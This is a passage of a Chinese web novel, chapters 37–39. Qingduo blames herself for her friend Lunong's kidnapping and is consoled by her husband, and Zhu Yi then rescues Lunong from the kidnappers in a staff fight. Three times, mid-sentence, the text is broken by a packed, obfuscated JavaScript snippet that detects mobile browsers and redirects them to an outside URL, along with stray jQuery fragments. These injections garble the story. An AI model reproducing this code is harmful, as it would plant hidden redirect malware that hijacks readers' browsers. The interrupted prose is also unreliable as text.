青朵又是心虚,又是害怕,她捂住耳朵,什么也不敢听。不禁想起幼时照顾她的姆妈的话。 小时候她总是不想睡觉,还想嬉戏。可晚上熄了烛火,一片漆黑,什么也看不见,她就央人捉萤火虫,藏下一个吃干净的鸭蛋壳,将萤火虫放进去,另一侧糊上一层纸,把玩具和鸭蛋灯带进被窝,偷偷玩耍。一边玩,一边支棱耳朵听姆妈的动静。如果听到脚步声,就连忙将伸出脑袋,背过身子装睡。 她感受到姆妈撩起床纱,不由得加重呼吸。姆妈静静看了她一会儿,轻轻说道:“哎呦呦,撒谎的小孩子,是会被雷劈的哟!” 青朵想起池塘边的大柳树,那么粗壮,可一个雷雨天后,也被削下一半枝条,成了只有半边头发的“半秃子”。雷要是这样对付她,她岂不是要变成“唐半朵”? 想到这,青朵浑身一抖,马上睁开眼,转过身子,老实交代:“姆妈,我还醒着呢!” 又赶紧补充道:“我没有撒谎呀,雷可不能劈我!” 姆妈“哼”了一声,她掀开被子,抽走鸭蛋灯,说道:“我就说你被子里怎么一闪一闪!” 青朵学乖了,下次她还额外带一个盒子,听到声音,就把鸭蛋灯扔到盒子里。当然,她又因为关盒子的声音太大被发现,这又是另外一桩事了。 姆妈带孩子是很有经验的,青朵的娘也是她带大的。她教给自己很多的知识和道理。比如,撒谎的小孩子,是会被雷劈的;比如,不睡午觉的小孩子,是会被雷劈的;比如,惹事的小孩子,是会被雷劈的……在姆妈心里,雷,是天上的“包青天”,铁面无私辨忠奸。 自己呢,对于她的话总是半信不信,做的时候,是半分不信的;报应快来的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663042|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是深信不疑的。而现在,十几年后,她又一次见识到姆妈的智慧。 惹事是会被“雷”劈的。只是这次,“雷”落到露浓姐的身上,这比“劈”了自己,更令她难受。 她没有办法回答杏树的质问,只能紧紧捂住耳朵,缩成一团。可那些质问还是穿过手掌,钻进心里来了: “要不是你当街三番五次惹怒赛掌柜,我的主人露浓会被抓走吗?” “都怪你想出如此愚蠢的主意!” “都怨你,做事从不思考后果!可为什么是我的主人受罪!” “你才该被捉走!” “你还我主人!” …… 茂密的杏树变成投石机,将身上的叶子都抖落成不计其数的石子,朝着“始作俑者”投来。青朵没有盾,内心的自责瓦解坚硬的外壳,只留下她一个瑶柱,眼见就要在密密麻麻的石子阵中被砸碎成泥,扔进蛋液里做成蛋羹…… 突然身上身上暖烘烘的,青朵恍惚:这么快就上蒸屉了? “唐”本来就归为“火”行,爹还非给她选两个属“木”的字作名字,岂不是让她越烧越旺?怪不得她最近不是进烤炉,就是进蒸屉!这就是她的命! 正当她心如死灰,准备接受被炙烤的命运。捂住耳朵的手生硬被人扯开,那人把她冰凉的双手握在自己的掌心里。 曾正卿蹲在青朵面前,将她的双手聚拢在一起,一边呵气揉搓,暖她的手,一边问道:“夫人怎么还不回家?” 青朵怔怔地望向他,见他眉峰紧紧蹙起,眼神充满担忧,她这才想起自己一心惦记露浓,忘记告诉家里一声,她一直不回去,卿卿一定急坏了。 她回想起来了,卿卿嘱咐过她,叫她不要再去街上揭赛林甫的短,她不肯听,如果今天她听了,露浓姐就不会不见…… 青朵咬着下唇不敢与他对视,却低头瞥见他的外袍罩在自己身上,那一瞬,睫毛猛地颤了颤,委屈的泪水涌上来,直在眼眶里打转。 “不能哭!”她抽回自己的手,紧紧攥住裙角,在心里训斥自己,“唐青朵,都怪你自作聪明,露浓姐姐才会不见!你有什么好委屈的!不准哭!”她拼命拼命睁大眼睛,生怕自己微微合眼,会挤落泪珠。 曾正卿今日有应酬,回来得就比平日晚,刚回到府中,芳晴就急切地找来,说青朵到现在都没回来。曾正卿的心也顿时七上八下,他祈祷青朵是露浓家,与朋友相聚忘了时间。 当通过半开的院门看到青朵,他松了一口气。路上满腔责备的话语,此刻云消雾散,只有失而复得的轻松。 很快,曾正卿就发现不对劲。平时上蹿下跳的“松鼠”,此刻成了一只蜷缩的“刺猬”。走近一瞧,“刺猬”还在瑟瑟发抖,她甚至没发现他的靠近。 怜惜之情油然而生,他将她的手包进掌心,她的手指也逐渐接近他的温度,可青朵突然将手缩回,他看到她攥紧的拳头,单薄的肩膀也微微发颤,像是极力忍耐着什么。 曾正卿再次覆上那双手,右手轻抚她的小脑袋,温言道:“怎么啦?” 一滴水,落到他的手背上,初时,曾正卿还以为天上落雨,后来“雨”越来越大,他这才发现,夫人才是那朵“云”。 像闷雷在云层中滚动,青朵哽咽着:“卿卿,你不要对我好……你,你骂我吧……我闯大祸了!” “我……我……都是我害了露浓姐!” 37. 坏人 “我是个坏人!” 青朵再也无法忍耐,抽抽搭搭地哭出声来。在她断续的陈述中,曾正卿了解事情的经过。 露浓的失踪委实在他意料之外,料想在这关头,除了赛林甫,怕是再无其它可能。 他曾私下调查了守真堂,见其多有造伪之举,但他主要是想要替露浓争《画堂春》的清白,旁的不愿多管。等陈记与露浓签下独家,赛林甫解决这件事情最简单的办法,就是补上之前的欠款,如此一了百了,风波平息。而后续陈记调查其他的造假行为,已与她无关。 然而赛林甫却直接命人把她劫走,曾正卿稍一琢磨便明白他的居心,看来自己还是低估了赛林甫的无耻程度。 眼前青朵的肩膀剧烈颤抖,曾正卿的心像是被刺猬的棘刺穿透,他问道:“夫人怎么看待赛林甫?” 青朵闻言一股怒意顶上来,喉间溢出一个嗝,含雾的眸子燃烧怒火:“他坏透了!丧尽天良的大坏蛋!” 随即嘴巴一憋,又哭道:“可我现在也成了坏蛋,呜哇——” 虽然她看起来可怜兮兮,自己却不由得想笑,他抚着她的脑袋,逗她道:“啊,他是大坏蛋,你是小坏蛋。” 青朵偏头躲开,这次眼中的愠怒是朝他来的,她愤愤道:“曾卿卿你怎么骂我?” 她说自己是“坏蛋”可以,别人说,就是骂她,真是个难伺候的“州官”。曾正清不以为意,见她不在沉浸在自责情绪中,趁机问道:“‘大坏蛋’之所以坏透了,是由他自己决定的,还是别人导致的?” 青朵怔然,她隐隐约约地知晓答案,还是喃喃道:“可是我当街骂他,刺激他,他才会抓走露浓姐……” “夫人先前助人,乃是行善积德之举,他也并未受你感化而改邪归正;如今他继续行恶作乱,难道就得归咎于你?” “没有夫人当街唱快板,只要我们想要回《画堂春》,为露浓姑娘辨明清白,这种事就会发生。因为赛林甫,本身就是一个阴险毒辣之辈。” “他行善或作恶,源自内心,若心坚如竹,风摧不毁,雨折不倒,自当守真修好。若内心软弱,不辨美丑,自甘堕落,安是他人之过?须知善恶之分,本不在外物啊!” 青朵凝视着曾正卿,泪水不再涌出,眼神焕发光彩,将蓄在眼中的泪水照映得五彩斑斓。她全神贯注,听曾正卿继续道: “你心存善念,结果事与愿违,固然有你阅历尚浅的缘故,但其中变故,也不是你能预料得到的。那就以此为戒,哪有人生来便会事事周全?经此一遭,下次自然有所长进。” 浮云飘转,月终于显出身影,露出溶溶月色。青朵破涕为笑:“卿卿,我明白啦!我虽然冲动处事不当,但我全然不是赛林甫之流!” “夫人聪慧,一点就透!”曾正卿趁机夸赞,“别的且不论,单是这份正义感,就已胜过许多麻木心肠。” 青朵甜甜地笑了,提起袖子抹去脸上的泪,说道,“本小姐天生为人侠义,从小就爱帮助别人,替别人打抱不平!” 够了够了,不能再夸了,水满则溢。至于从小就爱帮助别人,他不敢苟同。 曾正卿挑眉看了她一眼,不置一词,转移话头道:“当务之急,应该是找到露浓姑娘。” “哎呀!”青朵猛地站起,朝门口伸头望去,“也不知道朱大哥他们找到露浓姐没有!” 她想了想道:“这件事闹这么大,赛林甫就算有歹心,也不敢要了露浓姐的命,否则官府一定首先怀疑他,他是利欲熏心,倒没必要自绝死路。他带走露浓姐,可能就是想吓唬吓唬她,让她不敢继续闹事!” 忽而又咬牙切齿道:“我才是始作俑者!有能耐把我抓走!欺负露浓姐算什么!” “因为有的事,只能露浓姑娘能做。”曾正卿起身说道,他对上青朵疑惑的目光,说道,“他教训了你,顶多也就是止住你游街闹事,终究是一时之计。” 况且,你一看就任人拿捏的性子。 续道:“露浓姑娘看起来柔弱,又是原作者,只有她不再追究,这件事才能彻底了结。” 青朵恍然大悟,继而担忧道:“露浓姐姐只是看起来柔弱,实际倔强得很。”要不是这样,刚相识时,两人也不会因为一碗素面起了争执。“要是她不肯答应,会不会……会不会……”她不敢说下去。 曾正卿刚想宽慰她,外面响起仓促的脚步声,青朵脚不离地飞出去,见是何进与朱熠,她向两人身后探去,并没有露浓的身影。 朱熠猛然扣住她的肩膀:“露浓回来了没有?”见青朵摇头,他转身冲何进大声道:“姐夫,错不了!肯定是赛林甫这个王八蛋干的!” 他双手紧紧攥成拳,指节咔咔作响:“他果然装傻不承认!可除了他,还能有谁!” 何进拍拍朱熠的肩,示意他冷静:“那掌柜的是个滑头,顾左右而言他,但他见到我们找他,毫不意外,听说露浓失踪,也没有情绪波动,是他动的手脚。我又试探他几句,那姑娘不在店里,不知被他藏哪去了。” 青朵急道:“那我们把他抓起来,逼他说出来!” “没有证据空有怀疑,怎么抓人?现在夜深,我也不好调集人手,只能等到天亮再搜集线索。” “等等等,又是等!等个什么时候是个头!露浓在他们手中多一分钟,就多一份危险!我现在就挨家挨户地去找,也比现在什么都不做强!”朱熠抬脚就走 “我和你去!”青朵追上他,却被曾正卿拦住。他向何进说道:“何县尉,赛林甫有一名手下,名为史春,他曾是吴州‘打行’一员,朝廷整治抓捕之后,他们主要势力受损转移,史春便投奔赛林甫,为他行斗殴报复之事。” “想那赛林甫不会自己动手,让史春去做的可能性较大。何县尉不如以他为突破口。此人爱喝花酒,在云景楼有一位相好,多宿于此处,可直接去那寻他。” 何进仔细打量曾正卿,见他衣冠楚楚,翩翩风度,没想到却对市井俗事了解这么清楚。一时对话中真伪沉吟不定。 曾正卿看出他的犹疑,解释道:“在下姓曾,名正卿,是‘清源书籍铺’的东家,因露浓姑娘一事,之前对赛林甫做些小调查,县尉但请放心,我所言句句为实,事关露浓姑娘,不敢有半句虚言。” 何进听他这般言语,心中已然笃定。看了眼青朵,想云景楼那地方,姑娘家可去不得。点头道:“那我和虎子去找史春,你们在此等候,等那位姑娘回来,需要你们照顾。” 望着何进与朱熠的背影,青朵不禁双手合十祈祷:“救苦救难观世音菩萨,玉皇大帝老天爷,求求你们保佑露浓姐姐呀!” * 史春今日事办得踏实,人格外得意,黄汤灌得也格外多,瘫在床上人事不醒。正昏昏沉沉之际,感觉身边有人不断推他,他抓住那只手,下意识摩挲着,口齿不清道:“别闹,别闹……改日疼你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681098|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我去你的!” 手猛地被甩开,人也“咯噔”一下摔在地上,史春顿时被震醒,他对着妇人怒目而视:“混账娘们,都告诉你不行不行,非得都手动脚!急成这副样子,到底是大爷花钱嫖你,还是你嫖我?” 忽地望见女人瑟缩的样子,心中回味过来:她哪来那么大的力气?所以……冷汗湿了后背,他僵硬地转过脖子,抬起脑袋,对上朱熠的视线。 “这,这不是朱少侠吗?”史春的脸上瞬间由冬入春,堆着融雪的笑,“你怎么到这来了?” “难道……”他瞥了妇人一眼,做作道:“少侠也好这一口?哎,原来你我志趣相投啊!” “谁和你志趣相投!你少给我胡扯!”朱熠喝道,“说!露浓在哪?” “什么露啊浓的,我不知道啊!”他一副恍然大悟的样子,“难道是云景楼新进的姑娘?那我可不太了解了!” 朱熠听他如此侮辱露浓,哪里忍得下,挥拳便打,史春双臂架住,变了脸色道:“朱熠!别以为我史春真的怕你,吴州城里大家心里都清楚得很!不过都是给你姐夫何县尉几分薄面!否则哪容得你胡作非为!” “那我可是要多谢各位‘抬爱’了。”一个冷冷的声音说道。 史春闻言惊讶望去,这才发现屋中还有一人,这人身材魁梧,面如方田,一双眼睛如闪似电,仿佛能照彻污浊下的一切。 他心头大震,隐隐猜到来人是谁,笑出一脸褶子,道:“这位可是大名鼎鼎的何进何县尉?” “正是。”何进缓步走近,淡然道,“我们吴州距川地甚远,不知史大爷如何修习,变脸技艺如此醇熟。” “不敢不敢,您叫我小春子就好。”史春赔笑道,“何县尉找我,是有何吩咐?” “你们把那位名为‘露浓’的姑娘,藏哪去了?”何进的目光射向史春。 史春皮笑肉不笑:“朱少侠也说,您也说,可小人实在不知,这‘露浓’是个什么人。” “你明明就知道!”朱熠忍无可忍,拎起他的领子,怒道。 “我不知道又怎样?知道又怎样?你都甭想从我嘴里听到点什么!”史春阴森森地笑着,盯着朱熠,毫不示弱。 “你!” 史春毕竟不如赛林甫奸猾,能把话说得滴水不漏。何进抬手止住朱熠的冲动,他平静道:“吴州的衙门里,有很多不用死也能张口的手段,既然你执意不说,那便随我走一趟。” 史春又展现他精湛的本领,脸色像农家当做燃料涂在墙上的牛粪,土黄土黄,半分笑意也寻不到了。 * 当五更最后一声梆子的尾音落下,下属禀报道:“何县尉,人齐了。” 何进挥手道:“走!”下属跟在身后笑道:“那个姓史的,看起来像是硬气的,实际就是把软骨头,兄弟们还没招呼几下,就都交代了,早知如此,何必装腔作势!” 何进“哼”了一声,说道:“虎子,这种人就是外厉内荏,不过是个花架子,你跟他白费口舌,他也浑然不怕,只能用比他更强硬的手段,才能逼他吐露真相。” 他听了一会儿,没有等到朱熠的回话,不禁向右侧一看,并不见朱熠,他停下来仔细寻找,还是不见朱熠的身影。 下属摸了摸头,尴尬道:“姓史的一说出地点,虎子就走了。我以为是你让他走的。” 何进一惊:“糟了!这傻小子竟不等咱们,单枪匹马闯去了!” 38. 救美 露浓的头越来越重,不由自主地向下沉,就在它低到极限,突然听到有人低声呼唤她,她睁眼一瞧,眼前是一对灵动的双眸,竟然是青朵,而刚才唤她的,就是朱熠! “唔唔!唔唔唔!唔唔唔唔唔!”她惊喜道,却忘了自己的嘴被堵住了。 “她说什么?”朱熠疑惑地问青朵。 “青朵!朱大哥!你们怎么在!”青朵学着自己平素说话的语气,模仿自己刚才的神情,可谓是“声情并茂”。 她摘掉堵在露浓口中的布,问道:“露浓姐,我猜得对不对?” “不愧是你,分毫不差。”露浓笑道。青朵也嘻嘻笑了。 可露浓总觉得心里沉甸甸的,好像遗忘了什么。她看着眼前的屋子,猛然想起来自己是被抓了,连忙急道:“你们速速离开!这帮贼子人数不少!你们莫要管我!快走!快走!” “怕什么!我有这个神器,不管多少个,都管叫他们呼呼大睡,不省人事!”青朵得意地举起手中的香,细烟在顶头盘旋,却没有什么檀香味,若不仔细闻,甚至不太能觉察它的存在。 “这,就是‘迷魂香’,我们又不知道这里有多少人,三十个我又比较勉强,所以我就想到‘江湖神器’,把他们都迷倒。”朱熠抱着胳膊,拇指指向身后,神采飞扬地介绍道。 露浓顺着他的手指望去,原来在屋里吵吵闹闹打马吊的一群人,现在横七竖八躺在地上。刚想夸赞他的机智,青朵却抢在她前面说道: “朱大哥的脑袋,终于能派上用场了!哎哟!”她捂住自己的脑门,原来是朱熠毫不客气弹她一个脑瓜崩。 两人兀自吵吵闹闹,露浓渐渐觉得自己身上没有力气,虽然自己被他们带到这,一直没吃没喝,还深受折磨,可也不至于身子迅速酸软。她心里很是不安,问道:“这个香,他们闻了会倒,我们闻,难道就没事吗?” 争吵霎时停下来,青朵后知后觉地捂着脑袋,身子摇摇欲坠,嘀咕道:“我说,我……我怎么头晕……”话音刚落,就一头栽下去。朱熠忙伸手接住他,可自己身子一晃,也跟着倒下去。 “青朵!朱大哥!”露浓的眼皮沉得睁不开,晕晕乎乎的,心里着急万分,要是那群人先醒来,朱熠和青朵就也像她一样,陷在这里。那她岂不是连累了他们?她想要挣扎,可自己被牢牢绑在柱子上,根本无法行动,虽然口中去除阻碍,可竟然连说话的力气也没有了,甚至,意识在逐渐消散…… 救命啊…… 最后一刻,她在心中绝望地呼唤道。 “那娘们哼唧什么呢?” 露浓顿时吓得魂飞魄散,那群人这么快就醒来了?青朵他们……心脏急剧震动,她睁开眼睛看青朵和朱熠,咦?地上什么都没有? 他们去哪了?难道也像她一样被绑起来了?她急忙左右寻找,没有他们的身影,却看到绑架她的人捏着牌,都一脸奇怪地盯着她。 露浓的大脑一片混乱:他们从地上爬起来,就马上开始打马吊,赌瘾这么大吗? “从刚才开始就‘嗯嗯嗯’的,”引露浓来的刘二手指蹭过鼻子,“当咱这是客栈,舒服睡大觉呢?”他把手中的牌一扔,就要起身,却被身边的人按住手。 “刘二,把牌拿回去,手气不好就想跑?” “你这是什么话!阿泰!我牌运好着呢!我只是想去教训教训她!”刘二嘴硬道。 叫阿泰地嘲讽道:“你什么时候有过运气,四十不到,长得跟七十出头似的,一辈子连个女人都找不到!”话音刚落,便和其他七个哄笑起来。 露浓说不清是喜还是忧,喜的是青朵和朱熠是安全的,忧的是刚才不过是梦一场。 他们将她掳至此处,一开始说是要补还润笔费。露浓当时就觉得奇怪,如是要还她书钱,正大光明地给,何必要引她来此地?她暗中留心,果然在收条里发现,夹杂着,承认自己抄袭、抹黑子翩的话语。 露浓冷笑一声,将它撕了个干净,这彻底激怒他们,自己挨了几计耳光。但这也激发露浓的斗志,无论他们怎么折磨自己,她始终闭口不言,不肯签字。 父亲虽是个没有进学的童生,却从小就教导她要有骨气。如今这帮宵小以为威逼利诱就能让她屈服?哼,他们真是小看她陶露浓!宁为玉碎不为瓦全! 那些人见自己死也不肯签,顾忌真闹出人命,也懒得白费力气,收起鞭子,将自己绑在一旁,自顾自吃喝打牌。 露浓感到浑身上下,都火辣辣地疼。当初青朵提议要大闹一场,她第一个反对,一来自己素日不愿麻烦别人,二来总觉自己势单力薄,斗不过赛林甫,闹起来也是徒劳,不如认栽,下次长记性,不去他家卖书罢了。 她后悔了。 她忘了人的本性贪婪,得陇望蜀,贪求无已,自己的步步退让,不过是抱薪救火,助长火势,最终引火烧身。 是她的怯懦,让对方得寸进尺。 眼前忽而浮现那个信心百倍的背影——那是他们第一次去街上表演之前,青朵一挥手“率领”他们“进攻”的神气身影。露浓羡慕她的无所畏惧,暗叹自己的犹豫徘徊,连走出为自己讨回正义的路,都要反复衡量。 唉,不知道他们发现自己不见,会有多着急,还有朱大哥,他心思纯正,不要做出什么过激的事情才好。 心中正百转千回,忽然听到“咚”的一声,露浓吃了一惊,向门口望去,屋内几人顿时跳起,持棍空拳,抢着冲了出去。 外面一人说道:“哟!这不是‘玄虎侠’嘛?怎么,来救你的小情人?” 露浓吃了一惊,是朱大哥!难道他们来救她了!一颗心高高提起,一时间忘却了身上的痛苦。 又听到:“就你一个人?哼,是艺高人胆大,还是仗着自己有个当县尉的姐夫,觉得我们能对你手下留情?” 露浓提起的心重重沉下去,像是投入井中的巨石,传来沉闷的回响。他竟孤身一人,大马金刀地就闯来了?上次青朵说笑,说他三百人也不怕,他却认真回道三十人都很勉强。虽然眼下只有九个,但他们的人数应当远不止于此。 她想大声喊,嘴被堵住,只能发出“唔唔”的声音,她便这样拼命“喊叫”“快跑”,期盼能像梦中那样,朱熠能领会她的意图。 露浓忘记一件事,梦中领会她“唔唔”声的,不是朱熠,而是青朵。朱熠听了他的声音,激动大喊道:“露浓!等我!我很快就来救你!”说着外面乒乓一阵乱响,他已经与那八人动起手来。 不要来啊!露浓绝望地闭上眼睛,她真希望现在才是一场梦。 只听“噼里啪啦”“嘶啦咔嚓”,中间夹杂着“哦!”“咦?”“啊……”“呜——”几声痛呼,露浓伸长耳朵仔细辨别,似乎都不是朱熠的声音。 周遭打斗声停息,衬得呻吟声在静夜里更为响亮。有脚步声走近,露浓的心脏怦怦直跳,目不转睛地盯着屋门,朱熠走了进来。 露浓呆呆地看着他,即使已经听到他的声音,此时此刻,还是不敢相信自己的眼睛。 朱熠一进屋就看到她,目光再也挪不开,直奔她而来,取下她口中塞的布。待看清她身上的伤痕,他满眼疼惜,低声道:“我帮你解开,可能会碰到你的伤口,我会尽量轻点。” 朱熠汗湿的碎发黏在额前,露浓垂眼看到他带着血迹的衣衫,忍住脱眶而出的泪,说道:“快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686296|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解绳子,我受得住!他们还有很多人,我们得动作快点!” 朱熠的手指颤抖,仿佛这简单的绳扣,扣住的是他,而不是露浓。看着她的手指疼到蜷缩,他心乱如麻,咬牙坚持解开,刚才与对方交手时都不觉怎样,现在才发现胸膛湿透了。 麻绳掉落,露浓整个人软下来,朱熠忙伸手去接,将她揽在怀里。露浓本想借他的力量站起身,却怎么也使不上劲。本来靠着自己,还有一股对抗的劲头吊着,但看到朱熠,心中一宽,那股劲也泄了,一时整个人浑身软绵绵的。 朱熠将她抱起,心中酸痛不已,哑声道;“我们回家。” * 两人刚出屋子,四面响起脚步声,数十道黑影如潮水般涌入小巷和院子,堵在他们面前。 为首的是一个老头,他指着朱熠大声道:“就是他!” 那不是自己刚才打倒的人吗?朱熠疑惑地扫一眼地上,果然不见,刚才他见冲过来的是个老人,下手就收了几分力,谁料他腿脚挺利索,竟爬起来通风报信。 朱熠放眼望去,眼前少说也有二三十人,若自己一人,还能直接打倒几个冲出去。但现在还抱着露浓,无论如何都难以逃脱。 正暗自盘算打出去的办法,忽听怀中露浓小声说道:“朱大哥,我好了,你放我下来。”朱熠虽不情愿,但低头对上露浓的眼,那双眼平静无波澜,却让人难以拒绝。他将她放下,不放心地搀扶着她。 老头身边站着一个胖子,两边脸极不对称,左大右小,这歪脸见朱熠悉心呵护露浓,一副根本没把他们放在眼中的样子,不禁怒道:“毛头小子,胆敢在我们这撒野!今日不留下个交代,别想走!” “就是!”那老头就是刘二,他附和道,“江湖上若传出去,往后我们这伙人的脸面该往哪儿搁?” 朱熠嗤笑道:“你们一群大男人,欺负一个姑娘家,还好意思提面子?呵!脸面这东西,你们早就不要了!” 对面纷纷大骂,露浓叹了口气,低声道:“朱大哥,他们人多,我们逃不出去的。我有一个办法,他们抓我是想让我承认我是抄书的那个,只要我承认,我们就能……” “那你坚持这么久算什么?我又算什么?”朱熠凝视着她,露浓心头大震,望着他说不出话来。 “露浓,如果我的出现,反而让你放弃自己的坚守,那我不配与你相伴。” 露浓怔然,望着他郑重的神色,所有的话语凝在喉间。只见朱熠拾起一根哨棍,上前一步,大声道:“你们若是好汉,那就单挑!” 歪脸狡狯一笑:“胜者为王,输了嘛,怎么都不是好汉。” 话音刚落,便闻身旁露浓一声惊呼,右侧骤起破风锐响。朱熠本能将她抱在怀里,那一棍结结实实地砸到他的肩头上。“啪!”的一声脆响,折木碎屑掠过眼前。朱熠抱着露浓踉跄半步,旋身抬脚踹到偷袭者的腹部,送他躺到原来的位置上。原来此人是之前打倒的一个,趁他们说话时爬起,想借着阴影暗中偷袭,挨了这一脚后,发出杀猪般的唬叫。 露浓听到闷雷般的击打声落到他身上,看到他的脸皱成一团,颤声道:“朱熠,你……你怎么样?” 朱熠用手背抹去唇边的血痕,强忍着肩上的剧痛,扯动嘴角,挤出个比哭还难看的笑,说道:“别怕!习武之人都挨过打,这只是小意思。都没我姐打我疼,嘿嘿,就跟挠痒痒似的!” 他扶着露浓走到墙旁,让她背倚墙壁站着,笑道:“露浓,之前我在街上耍棍,不过是些花把式,哄人玩的,” 他手腕翻转,长棍横在身前,带起凌厉风声, “今日便让你瞧瞧,我朱熠身上,真正的棍法!” 39. 回家 露浓微微一笑,她环视虎视眈眈的敌人,心底半分惧意也无,他们都尽力了,谋事在人成事在天,天意如此,惧怕又有什么用呢? 目光掠过挡在自己前面的身影,心中感动,低声说道:“朱大哥,谢谢你来救我,我……我很欢喜。” 最后一句话,像是一片飞舞的柳絮,轻飘飘,却搔得朱熠心头一颤,他不由得回头望向露浓,那笑容似桃花上的清露,灼灼耀目,顿时勇气大增,他猛地转身,叫道:“谁先来?” “我来!他不过是仗着他姐夫的名气,能有什么功夫!”一个矮个冲上去。 朱熠扎稳马步,前臂伸直抵挡他的棍子,棍头用力横扫,击中矮个腹部,趁他抱腹之时,从上劈下,将他击倒在地,矮个瞬间昏了过去。第二个也让他几招拿下。 这时,围观的喧嚷声骤敛,谁也不肯轻易上前,刘二嚷道:“我就说不是我功夫不精,是这小子确实棍法精妙,你们还不信!” 说话间,又有四五个同时进攻,朱熠上前迎战。他下潜躲避对方的先手,一个正蹬将对方踹倒,对面的人接二连三地冲上来,将他三面围住,他握住棍子,上下劈挑,格挡接连的攻势,一只手紧握棍子,单腿为轴,上身一记旋转,抡翻一片。 歪脸见朱熠有两下子,他抽出腰间短刀短棍,将短棍接到短刀刀柄后,就成了一杆长柄刀。他喝道:“兀那小子,让我来试试你的功夫!” 两人甫一交手,便知遇上了硬茬。朱熠的棍法虽然得到名师点拨,招招暗藏巧劲,却输在经验不足。从前他行侠仗义,与别人起争执,旁人念着他姐夫的名头,多有谦让,哪会实打实的狠斗?而歪脸擅长以攻为守,压制对手,却被朱熠以巧破力的棍法缠得束手束脚,甚至借力打力,逼得他不得不转攻为守。 那些人见他们你来我往,一时竟看得呆了,谁也不动,歪脸心烦意乱,骂道:“你们这群怂蛋就干看着?还不帮老子一手?” 话音落下,一刀直劈朱熠的腹部,朱熠棍头抵住刀背,棍把抡绕,逼得歪脸后退两步,转眼又扑过来两人,朱熠一一化解后,却暗自心惊,歪脸已是难缠,他们又人多势众,自己的棍子只能暂时制住敌人,不能杀敌,损折不多,但自己肩头越来越痛,他们若是像这样,源源不断同时进攻,自己还能撑到几时呢? 两方焦灼之际,朱熠忽然听到身后露浓一声尖叫,原来是有人偷袭,但不料露浓手中握有尘沙,扬到那人眼中,叫他惨叫后退。这一下提醒了歪脸,他命令道:“先料理那个女的!”他身边两人答应,就要跃过朱熠对露浓下手。 朱熠回身站在露浓身前,将她护在身后,这样一来,哨棍抡起范围受到限制,对自己又是一层束缚,连防守都已艰难。 歪脸等他擎棍横挡,一声呼啸,抬刀竖斩,将他手中棍子劈断,刀锋顺势割开朱熠身前布料,划出一道血痕,他喝道:“知道你爷爷的厉害了?还不跪地求饶?” 忽然间,周围传来众多脚步声,歪脸一惊,正回头观望,朱熠左手断棍压住长刀,右棍痛击他颈部,歪脸猝不及防,一声闷哼扑到地上。 “别动!现奉何县尉命令拿人!尔等速速就擒,莫要自误!” 头目倒下,树倒猢狲散,这群人毫无抵抗的想法,只想赶紧逃命,却被差役执水火棍拦住去路,逃脱不得。 何进赶上前来,见到朱熠身上伤口,骂道:“行事还是没有分寸,若是你有个三长两短,我怎么和岳父岳母交代,又有何颜面见你姐姐?” 朱熠嘿嘿一笑,摸了摸后脑勺,不敢回话,何进看他将露浓挡得严严实实,问道:“这位姑娘可好?” 露浓从朱熠身后转出,屈膝欲拜:“多谢何县尉,多谢朱大哥,若非二位,我……”话未说完,忽觉眼冒金星,膝盖一软,便要栽倒。 朱熠慌忙扶住她:“露浓!” 露浓拉扯他的衣襟,挣扎着想起身,终究敌不过漫上来的疲惫,最终手指一松,昏倒在他的怀中。 * 露浓既清醒,又混沌,一个又一个梦在脑中开场落幕,她多次想要醒转,却怎么都醒不过来,下一个梦就开场,拉她进入无边困倦中…… “是先内服,再外敷!” “不对不对,你记错了,是先外敷,再内服!” “你才记错了哩!你的脑袋好使,还是我的脑袋聪明?” “唐青朵,你脑袋又痒了是吧?” 接着是跑动的声音,“略略略,打不着打不着打~不~着!” “你!嘶——你等我肩膀恢复的!” 好吵……露浓刚进入新的梦境,连剧情都没有展开呢,她不满地哼了几声,吵闹声顿时停止,好像有一窝蜂涌到自己身边,“嗡嗡”不停。 “她醒了?” “醒啦醒啦!露浓姐露浓姐!” “露浓,露浓!” 看来自己不回应他们,他们是停不下来了。露浓只好退出梦境,尽全力睁开眼睛,一睁眼,就看到两个熟悉的人儿,他们的脸上布满喜色。 露浓呆呆看着他们俩,总觉得眼前的场景似曾相识,啊,对了!青朵和朱熠闻迷魂香接连晕倒的画面一闪而过,她急忙警示道:“快灭香!” “香?”青朵与朱熠对视一眼,闻了闻手指,疑惑道,“一股药味,也不香啊!” 露浓愣住了,她环顾四周,才发现自己躺在家中,那夜朱熠相救的记忆再次浮现,她安全地回来了。 挨打被绑时,她一滴泪都没掉,而看着眼前熟悉的面庞,露浓的眼泪难以抑制地滚滚流淌。 